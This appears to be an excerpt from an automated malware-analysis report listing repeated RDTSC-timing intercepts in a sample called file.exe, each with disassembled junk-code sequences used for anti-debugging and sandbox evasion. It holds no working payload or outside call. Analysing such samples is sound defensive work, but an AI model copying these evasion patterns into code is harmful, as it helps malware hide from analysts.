Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54503A3 second address: 5450421 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E78Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F40B477E78Ch 0x00000013 jmp 00007F40B477E795h 0x00000018 popfd 0x00000019 movzx eax, dx 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f jmp 00007F40B477E793h 0x00000024 mov edx, dword ptr [ebp+0Ch] 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F40B477E794h 0x0000002e add ax, 0178h 0x00000033 jmp 00007F40B477E78Bh 0x00000038 popfd 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450421 second address: 5450468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F40B515FC04h 0x0000000a sbb ecx, 35419BD8h 0x00000010 jmp 00007F40B515FBFBh 0x00000015 popfd 0x00000016 popad 0x00000017 popad 0x00000018 mov ecx, dword ptr [ebp+08h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F40B515FC05h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54803F0 second address: 548042F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E799h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F40B477E791h 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F40B477E78Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548042F second address: 5480493 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FC01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c pushad 0x0000000d mov dx, si 0x00000010 mov edi, ecx 0x00000012 popad 0x00000013 nop 0x00000014 jmp 00007F40B515FC02h 0x00000019 push eax 0x0000001a jmp 00007F40B515FBFBh 0x0000001f nop 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushfd 0x00000024 jmp 00007F40B515FC02h 0x00000029 xor ch, FFFFFFA8h 0x0000002c jmp 00007F40B515FBFBh 0x00000031 popfd 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480542 second address: 5480546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480546 second address: 548054C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548054C second address: 5480582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 pushfd 0x00000006 jmp 00007F40B477E794h 0x0000000b and ax, 9BB8h 0x00000010 jmp 00007F40B477E78Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov esi, eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480582 second address: 5480586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480586 second address: 548058C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54805E1 second address: 54805EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, C916h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54805EA second address: 548065B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, esi 0x00000009 pushad 0x0000000a mov si, di 0x0000000d pushfd 0x0000000e jmp 00007F40B477E795h 0x00000013 add ecx, 6E148A76h 0x00000019 jmp 00007F40B477E791h 0x0000001e popfd 0x0000001f popad 0x00000020 pop esi 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F40B477E78Ch 0x00000028 add esi, 1BF01F98h 0x0000002e jmp 00007F40B477E78Bh 0x00000033 popfd 0x00000034 mov dl, cl 0x00000036 popad 0x00000037 leave 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F40B477E78Eh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548065B second address: 547005D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FBFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 xor ebx, ebx 0x00000015 test al, 01h 0x00000017 jne 00007F40B515FBF7h 0x00000019 xor eax, eax 0x0000001b sub esp, 08h 0x0000001e mov dword ptr [esp], 00000000h 0x00000025 mov dword ptr [esp+04h], 00000000h 0x0000002d call 00007F40BA219033h 0x00000032 mov edi, edi 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F40B515FC03h 0x0000003b xor ecx, 6EAA7FAEh 0x00000041 jmp 00007F40B515FC09h 0x00000046 popfd 0x00000047 movzx ecx, bx 0x0000004a popad 0x0000004b push edx 0x0000004c jmp 00007F40B515FC08h 0x00000051 mov dword ptr [esp], ebp 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547005D second address: 5470061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470061 second address: 5470067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470067 second address: 547006D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547006D second address: 5470092 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F40B515FC09h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470092 second address: 5470114 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E791h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b pushad 0x0000000c push esi 0x0000000d pushfd 0x0000000e jmp 00007F40B477E793h 0x00000013 adc ah, FFFFFFDEh 0x00000016 jmp 00007F40B477E799h 0x0000001b popfd 0x0000001c pop eax 0x0000001d popad 0x0000001e push 0EE7BC56h 0x00000023 jmp 00007F40B477E798h 0x00000028 add dword ptr [esp], 66DEE1F2h 0x0000002f pushad 0x00000030 jmp 00007F40B477E78Eh 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470114 second address: 5470125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push 212B886Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470125 second address: 5470129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470129 second address: 547012F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547012F second address: 5470135 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470135 second address: 5470139 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470139 second address: 54701B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 5495A302h 0x0000000f jmp 00007F40B477E792h 0x00000014 mov eax, dword ptr fs:[00000000h] 0x0000001a jmp 00007F40B477E790h 0x0000001f nop 0x00000020 pushad 0x00000021 jmp 00007F40B477E78Eh 0x00000026 push esi 0x00000027 movsx ebx, ax 0x0000002a pop esi 0x0000002b popad 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushad 0x00000031 popad 0x00000032 pushfd 0x00000033 jmp 00007F40B477E78Bh 0x00000038 adc ch, 0000006Eh 0x0000003b jmp 00007F40B477E799h 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54701B6 second address: 54701F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FC01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F40B515FBFEh 0x0000000f sub esp, 18h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F40B515FC07h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54701F6 second address: 54702BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E799h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b push esi 0x0000000c mov bx, 163Eh 0x00000010 pop edi 0x00000011 jmp 00007F40B477E794h 0x00000016 popad 0x00000017 push eax 0x00000018 jmp 00007F40B477E78Bh 0x0000001d xchg eax, ebx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F40B477E794h 0x00000025 and ax, 4268h 0x0000002a jmp 00007F40B477E78Bh 0x0000002f popfd 0x00000030 call 00007F40B477E798h 0x00000035 mov si, F961h 0x00000039 pop eax 0x0000003a popad 0x0000003b push ebx 0x0000003c pushad 0x0000003d push esi 0x0000003e mov al, dl 0x00000040 pop ecx 0x00000041 pushfd 0x00000042 jmp 00007F40B477E791h 0x00000047 adc ecx, 2B6125E6h 0x0000004d jmp 00007F40B477E791h 0x00000052 popfd 0x00000053 popad 0x00000054 mov dword ptr [esp], esi 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702BC second address: 54702C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702C0 second address: 54702C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702C4 second address: 54702CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702CA second address: 54702D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702D0 second address: 54702D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702D4 second address: 54702D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702D8 second address: 5470300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F40B515FC05h 0x00000011 pop ecx 0x00000012 mov edx, 7C5E9E94h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470300 second address: 5470306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470306 second address: 547030A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547030A second address: 5470343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov esi, 1FFE8673h 0x0000000f popad 0x00000010 xchg eax, edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F40B477E792h 0x0000001a or ecx, 4159C978h 0x00000020 jmp 00007F40B477E78Bh 0x00000025 popfd 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470343 second address: 54703C0 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 5C6228AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [75C74538h] 0x0000000f jmp 00007F40B515FC01h 0x00000014 xor dword ptr [ebp-08h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F40B515FC03h 0x00000020 adc esi, 0AA3F69Eh 0x00000026 jmp 00007F40B515FC09h 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007F40B515FC00h 0x00000032 xor ax, A898h 0x00000037 jmp 00007F40B515FBFBh 0x0000003c popfd 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54703C0 second address: 5470411 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov ebx, ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, ebp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F40B477E794h 0x00000014 sbb cl, 00000028h 0x00000017 jmp 00007F40B477E78Bh 0x0000001c popfd 0x0000001d popad 0x0000001e nop 0x0000001f jmp 00007F40B477E796h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470411 second address: 547042D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FC08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547042D second address: 5470433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470433 second address: 547044E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a mov bx, 478Ah 0x0000000e movsx edx, ax 0x00000011 popad 0x00000012 lea eax, dword ptr [ebp-10h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547044E second address: 547045D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E78Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547045D second address: 5470475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B515FC04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470475 second address: 54704D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E78Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], eax 0x00000011 jmp 00007F40B477E796h 0x00000016 mov dword ptr [ebp-18h], esp 0x00000019 jmp 00007F40B477E790h 0x0000001e mov eax, dword ptr fs:[00000018h] 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F40B477E797h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54704D4 second address: 547050D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FC09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f jmp 00007F40B515FBFEh 0x00000014 test ecx, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547050D second address: 5470511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470511 second address: 5470515 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470515 second address: 547051B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547051B second address: 5470520 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470520 second address: 5470526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470526 second address: 547053E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jns 00007F40B515FC64h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov dx, F96Ch 0x00000014 mov ax, dx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547053E second address: 54705F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F40B477E78Ch 0x00000009 sbb esi, 7D586F88h 0x0000000f jmp 00007F40B477E78Bh 0x00000014 popfd 0x00000015 mov di, ax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b add eax, ecx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F40B477E797h 0x00000024 and ax, 7C7Eh 0x00000029 jmp 00007F40B477E799h 0x0000002e popfd 0x0000002f popad 0x00000030 mov ecx, dword ptr [ebp+08h] 0x00000033 pushad 0x00000034 push esi 0x00000035 pushfd 0x00000036 jmp 00007F40B477E793h 0x0000003b sbb ah, FFFFFF8Eh 0x0000003e jmp 00007F40B477E799h 0x00000043 popfd 0x00000044 pop ecx 0x00000045 mov dx, 6B84h 0x00000049 popad 0x0000004a test ecx, ecx 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F40B477E796h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54705F7 second address: 54705FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54705FD second address: 5470601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546019A second address: 54601A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54601A0 second address: 546021D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E793h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F40B477E796h 0x00000011 push eax 0x00000012 pushad 0x00000013 call 00007F40B477E791h 0x00000018 mov bx, cx 0x0000001b pop esi 0x0000001c pushfd 0x0000001d jmp 00007F40B477E78Dh 0x00000022 xor si, 85C6h 0x00000027 jmp 00007F40B477E791h 0x0000002c popfd 0x0000002d popad 0x0000002e xchg eax, ebp 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F40B477E78Dh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546021D second address: 5460223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460223 second address: 5460227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460227 second address: 5460295 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushad 0x0000000c call 00007F40B515FBFBh 0x00000011 pop ecx 0x00000012 mov cx, bx 0x00000015 popad 0x00000016 call 00007F40B515FC05h 0x0000001b pushfd 0x0000001c jmp 00007F40B515FC00h 0x00000021 and esi, 5C4FB328h 0x00000027 jmp 00007F40B515FBFBh 0x0000002c popfd 0x0000002d pop ecx 0x0000002e popad 0x0000002f sub esp, 2Ch 0x00000032 jmp 00007F40B515FBFFh 0x00000037 xchg eax, ebx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460295 second address: 5460299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460361 second address: 5460365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460365 second address: 5460369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460369 second address: 546036F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546036F second address: 5460383 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B477E790h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460383 second address: 54603AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FBFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub edi, edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F40B515FC02h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54604CC second address: 54604D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54604D2 second address: 54604D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54604D6 second address: 54604F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F40B477E795h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54604F6 second address: 54604FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54604FC second address: 5460500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460545 second address: 5460549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460549 second address: 546054F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546054F second address: 5460555 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460555 second address: 5460559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460559 second address: 546055D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546055D second address: 5460618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F4124F3C6ADh 0x0000000e jmp 00007F40B477E78Ah 0x00000013 js 00007F40B477E7F4h 0x00000019 pushad 0x0000001a mov di, si 0x0000001d mov di, ax 0x00000020 popad 0x00000021 cmp dword ptr [ebp-14h], edi 0x00000024 pushad 0x00000025 call 00007F40B477E792h 0x0000002a mov esi, 0EB59D31h 0x0000002f pop ecx 0x00000030 pushfd 0x00000031 jmp 00007F40B477E797h 0x00000036 sbb cl, FFFFFF9Eh 0x00000039 jmp 00007F40B477E799h 0x0000003e popfd 0x0000003f popad 0x00000040 jne 00007F4124F3C64Ch 0x00000046 jmp 00007F40B477E78Eh 0x0000004b mov ebx, dword ptr [ebp+08h] 0x0000004e jmp 00007F40B477E790h 0x00000053 lea eax, dword ptr [ebp-2Ch] 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F40B477E797h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460618 second address: 5460645 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FC09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F40B515FBFDh 0x00000011 rdtsc
